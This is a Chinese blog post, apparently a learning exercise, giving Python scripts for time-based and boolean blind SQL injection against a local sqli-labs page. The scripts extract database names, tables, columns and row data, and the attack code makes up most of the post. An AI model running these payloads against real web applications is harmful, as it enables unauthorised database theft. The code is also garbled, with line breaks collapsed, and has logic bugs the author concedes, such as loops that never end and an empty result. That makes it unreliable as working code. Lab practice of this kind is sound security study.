sql:时间盲注和boolen盲注

关于时间盲注,boolen盲注的后面几个获取表、列、具体数据的函数补全

时间盲注方法

import time
import requests# 获取数据库名
def inject_database(url):dataname = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(3), 0)-- " % (i, mid)res = {"id": payload}start = time.time()r = requests.get(url, params=res)end = time.time()if end-start >= 3:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakdataname += chr(mid)print(dataname)# 获取表名
def table_inject(url, dataname):table_name = []index = 0while True:table_name = ""position = 1while True:low = 32high = 127while low < high:mid = (low + high) // 2payload = f"1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='{dataname}' limit {index}, 1), {position}, 1)) > {mid}, sleep(3), 0)-- "params = {"id": payload}start = time.time()r = requests.get(url, params=params)end = time.time()if end - start >= 3:low = mid + 1else:high = midif low == 32:breaktable_name += chr(low)position += 1# if not table_name:#     break# table_name.append(table_name)# index +=1return table_name# 获取列名
def colum_inject(url, dataname, table_name):colum_name = []index = 0while True:colum_name = ""position = 1while True:low = 32high = 127while low < high:mid = (low + high) // 2payload = f"1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='{dataname}' and table_name='{table_name}' limit {index}, 1), {position}, 1)) > {mid}, sleep(3), 0)-- "params = {"id": payload}start = time.time()r = requests.get(url, params=params)end = time.time()if end-start >= 3:low = mid + 1else:high = midif low == 32:breakcolum_name += chr(low)position += 1return colum_name# 获取具体数据
def data_inject(url, dataname, table_name, colum_name):data = []index = 0while True:row_data = ""position = 1while True:low = 32high = 127while low < high:mid = (low + high) // 2payload = f"1' and if(ascii(substr((select {colum_name} from {dataname}.{table_name} limit {index}, 1), {position}, 1)) > {mid}, sleep(3), 0)-- "params = {"id": payload}start = time.time()r = requests.get(url, params=params)end = time.time()if end - start >= 3:low = mid + 1else:high = midif low == 32:breakrow_data += chr(low)position += 1return dataif __name__ == '__main__':url = 'http://127.0.0.1:8080/sqlilabs/Less-9/'dataname = inject_database(url)print(f"database: {dataname}")table_names = table_inject(url, dataname)print(f"table-name: {table_names}")if table_names:table_name = table_names[0]colum_names = colum_inject(url, dataname, table_name)print(f"colum-name: {colum_names}")if colum_names:colum_name = colum_names[0]data = data_inject(url, dataname, table_name, colum_name)print(f"时间盲注 - 具体数据: {data}")

布尔盲注方法

import requests# 通用的布尔盲注函数
def boolen_inject(url, payload, payloadfas, params):result = ""for pos in range(1, 20):for ascii_val in range(32, 127):payload_true = payload.format(pos, ascii_val)payload_false = payloadfas.format(pos, ascii_val)params_true = {params: payload_true}params_false = {params: payload_false}response_true = requests.get(url, params=params_true)response_false = requests.get(url, params=params_false)if response_true.text != response_false.text:result += chr(ascii_val + 1)breakelse:breakreturn result# 布尔盲注获取数据库名
def get_database_name(url, params):payload = "1' and ascii(substr(database(), {}, 1)) > {} -- "payloadfas = "1' and ascii(substr(database(), {}, 1)) <= {} -- "return boolen_inject(url, payload, payloadfas, params)# 布尔盲注获取表名
def table_inject(url, params, database_name):table_names = []index = 0while True:payload = (f"1' and ascii(substr((select table_name from information_schema.tables "f"where table_schema='{database_name}' limit {index}, 1), {{}}, 1)) > {{}} -- ")payloadfas = (f"1' and ascii(substr((select table_name from information_schema.tables "f"where table_schema='{database_name}' limit {index}, 1), {{}}, 1)) <= {{}} -- ")table_name = boolen_inject(url, payload, payloadfas, params)if not table_name:breaktable_names.append(table_name)index += 1return table_names# 布尔盲注获取列名
def column_inject(url, params, database_name, table_name):column_names = []index = 0while True:payload = (f"1' and ascii(substr((select column_name from information_schema.columns "f"where table_schema='{database_name}' and table_name='{table_name}' limit {index}, 1), {{}}, 1)) > {{}} -- ")payloadfas = (f"1' and ascii(substr((select column_name from information_schema.columns "f"where table_schema='{database_name}' and table_name='{table_name}' limit {index}, 1), {{}}, 1)) <= {{}} -- ")column_name = boolen_inject(url, payload, payloadfas, params)if not column_name:breakcolumn_names.append(column_name)index += 1return column_names# 布尔盲注获取具体数据
def data_inject(url, params, database_name, table_name, column_name):data = []index = 0while True:payload = (f"1' and ascii(substr((select {column_name} from {database_name}.{table_name} limit {index}, 1), {{}}, 1)) > {{}} -- ")payloadfas = (f"1' and ascii(substr((select {column_name} from {database_name}.{table_name} limit {index}, 1), {{}}, 1)) <= {{}} -- ")row_data = boolen_inject(url, payload, payloadfas, params)if not row_data:breakdata.append(row_data)index += 1return dataif __name__ == '__main__':url = "http://127.0.0.1:8080/sqlilabs/Less-9/index.php"params = "id"# 获取数据库名database_name = get_database_name(url, params)print(f"database_name: {database_name}")# 获取表名table_names = table_inject(url, params, database_name)print(f"table_name: {table_names}")if table_names:table_name = table_names[0]# 获取列名column_names = column_inject(url, params, database_name, table_name)print(f"column_name: {column_names}")if column_names:column_name = column_names[0]# 获取具体数据data = data_inject(url, params, database_name, table_name, column_name)print(f"data: {data}")

实验结论

但是两种方式都显示不了数据库名称,检查后发现是基础配置问题导致代码连接不上,正常在网址上进入是可以的。

代码本身没有问题。

现在我还没有找到问题所在,后面会抽时间改进。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/17440.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

zyNo.22

常见Web漏洞解析 命令执行漏洞 1.Bash与CMD常用命令 &#xff08;1&#xff09;Bash 读取文件&#xff1a;最常见的命令cat flag 在 Bash 中&#xff0c;cat 以及的tac、nl、more、head、less、tail、od、pr 均为文件读取相关命令&#xff0c;它们的区别如下&#xff1a; …

《Python 中 JSON 的魔法秘籍:从入门到精通的进阶指南》

在当今数字化时代&#xff0c;网络编程无处不在&#xff0c;数据的高效传输与交互是其核心。JSON 作为一种轻量级的数据交换格式&#xff0c;凭借其简洁、易读、跨语言的特性&#xff0c;成为网络编程中数据传输与存储的关键技术。无论是前后端数据交互&#xff0c;还是不同系统…

部门管理(体验,最原始方法来做,Django+mysql)

本人初学&#xff0c;写完代码在此记录和复盘 在创建和注册完APP之后&#xff08;我的命名是employees&#xff09;&#xff0c;编写models.py文件创建表 手动插入了几条数据 1.部门查询 urls.py和views.py在编写之前&#xff0c;都要注意导入对应的库 urls.py&#xff1a;…

Docker的容器

Docker的容器 一&#xff0e;容器 容器是一种轻量级的虚拟化技术。它有效的将单个操作系统的资源划分到各独立的组中&#xff0c;以便更好的平衡这些独立的组之间资源的使用。 容器主要包含了命名空间&#xff08;Namespaces&#xff09;和cgroup&#xff08;Control Groups…

[Redis] Redis分布式锁与常见面试题

&#x1f338;个人主页:https://blog.csdn.net/2301_80050796?spm1000.2115.3001.5343 &#x1f3f5;️热门专栏: &#x1f9ca; Java基本语法(97平均质量分)https://blog.csdn.net/2301_80050796/category_12615970.html?spm1001.2014.3001.5482 &#x1f355; Collection与…

Word 公式转 CSDN 插件 发布

经过几个月的苦修&#xff0c;这款插件终于面世了。 从Word复制公式到CSDN粘贴&#xff0c;总是出现公式中的文字被单独提出来&#xff0c;而公式作为一个图片被粘贴的情况。公式多了的时候还会导致CSDN禁止进一步的上传公式。 经过对CSDN公式的研究&#xff0c;发现在粘贴公…

JVM——堆的回收:引用计数发和可达性分析法、五种对象引用

目录 引用计数法和可达性分析法 引用计数法&#xff1a; 可达性分析算法&#xff1a; 五种对象引用 软引用&#xff1a; 弱引用&#xff1a; 引用计数法和可达性分析法 引用计数法&#xff1a; 引用计数法会为每个对象维护一个引用计数器&#xff0c;当对象被引用时加1&…

sqlilabs--小实验

一、先盲注判断 ?id1 and sleep(2)-- 如果发现页面存在注点&#xff0c;使用时间盲注脚本进行注入 import requestsdef inject_database(url):name for i in range(1, 20): # 假设数据库名称长度不超过20low 48 # 0high 122 # zmiddle (low high) // 2while low &l…

VMware Workstate 的 Ubuntu18 安装 vmware tools(不安装没法共享)

在共享主机路径后&#xff0c;可以在&#xff1a; /mnt/hgfs/下方找到共享的文件。但没有安装vmware tool时是没法共享的。 如何安装vmware tool&#xff0c;网上版本很多。这里记录一下&#xff1a; VMware Workstation 17 Pro&#xff0c;版本&#xff1a;17.6.0 虚拟机系统…

STM32 I2C通信协议说明

目录 背景 I2C协议 数据的有效性 I2C通信开始和停止条件 I2C数据传输 发送 响应 正常情况&#xff1a; 异常情况&#xff1a; 主机结束接收 写寄存器的标准流程 读寄存器的标准流程 仲裁机制 时钟同步 SDA线的仲裁 程序 背景 对单片机的三大通信中的I2C通信进…

Unity与SVN集成:实现高效版本控制

内容将会持续更新&#xff0c;有错误的地方欢迎指正&#xff0c;谢谢! Unity与SVN集成&#xff1a;实现高效版本控制 TechX 坚持将创新的科技带给世界&#xff01; 拥有更好的学习体验 —— 不断努力&#xff0c;不断进步&#xff0c;不断探索 TechX —— 心探索、心进取&…

BUU37 [DASCTF X GFCTF 2024|四月开启第一局]web1234【代码审计/序列化/RCE】

Hint1&#xff1a;本题的 flag 不在环境变量中 Hint2&#xff1a;session_start&#xff08;&#xff09;&#xff0c;注意链子挖掘 题目&#xff1a; 扫描出来www.zip class.php <?phpclass Admin{public $Config;public function __construct($Config){//安全获取基…

历史性突破!DeepSeek双模型GitHub热度超OpenAI,展现中国AI力量

在2025年2月7日&#xff0c;中国AI领域传来了一则振奋人心的消息&#xff1a;DeepSeek旗下的两大开源项目在GitHub平台上实现了历史性突破&#xff0c;其Star数成功超越了OpenAI的明星项目。这一成就不仅标志着DeepSeek在技术研发和市场影响力上的重大飞跃&#xff0c;也为中国…

肝了半年,我整理出了这篇云计算学习路线(新手必备,从入门到精通)

大家好&#xff01;我是凯哥&#xff0c;今天给大家分享一下云计算学习路线图。这是我按照自己最开始学习云计算的时候的学习路线&#xff0c;并且结合自己从业多年所涉及的知识精心总结的云计算的思维导图。这是凯哥精心总结的&#xff0c;花费了不少精力哦&#xff0c;希望对…

畅聊deepseek-r1,SiliconFlow 硅基流动注册+使用

文章目录 SiliconFlow 硅基流动注册使用注册创建API密钥使用网页端使用代码调用api调用支持的模型 SiliconFlow 硅基流动注册使用 注册 硅基流动官网 https://cloud.siliconflow.cn/i/XcgtUixn 注册流程 切换中文 ​ 邀请码&#xff1a; XcgtUixn 创建API密钥 账户管理 --&g…

Java 大数据与区块链的融合:数据可信共享与溯源(45)

&#x1f496;&#x1f496;&#x1f496;亲爱的朋友们&#xff0c;热烈欢迎你们来到 青云交的博客&#xff01;能与你们在此邂逅&#xff0c;我满心欢喜&#xff0c;深感无比荣幸。在这个瞬息万变的时代&#xff0c;我们每个人都在苦苦追寻一处能让心灵安然栖息的港湾。而 我的…

初阶c语言(循环语句习题,完结)

前言&#xff1a; c语言为b站鹏哥&#xff0c;嗯对应视频37集 昨天做的c语言&#xff0c;今天在来做一遍&#xff0c;发现做错了 今天改了平均值的计算&#xff0c; 就是说最大值加上最小值&#xff0c;如果说这个数值非常大的话&#xff0c;两个值加上会超过int类型的最大…

传感器篇(一)——深度相机

目录 一 概要 二 原理 三 对比 四 产品 五 结论 一 概要 深度相机是一种能够获取物体深度信息的设备&#xff0c;相较于普通相机只能记录物体的二维图像信息&#xff0c;深度相机可以感知物体与相机之间的距离&#xff0c;从而提供三维空间信息。在你正在阅读的报告中提到…

蓝桥杯之并查集

算法思想 并查集是一种树形的数据结构&#xff0c;主要用于解决一些元素分组问题。用于处理一些不相交集合的合并以及查询问题。并查集的思想是用一个数组表示了整片森林&#xff0c;树的根节点唯一标识了一个集合&#xff0c;我们只要找到了某个元素的树根&#xff0c;就能确…

Windows11+PyCharm利用MMSegmentation训练自己的数据集保姆级教程

系统版本&#xff1a;Windows 11 依赖环境&#xff1a;Anaconda3 运行软件&#xff1a;PyCharm 一.环境配置 通过Anaconda Prompt(anaconda)打开终端创建一个虚拟环境 conda create --name mmseg python3.93.激活虚拟环境 conda activate mmseg 4.安装pytorch和cuda tor…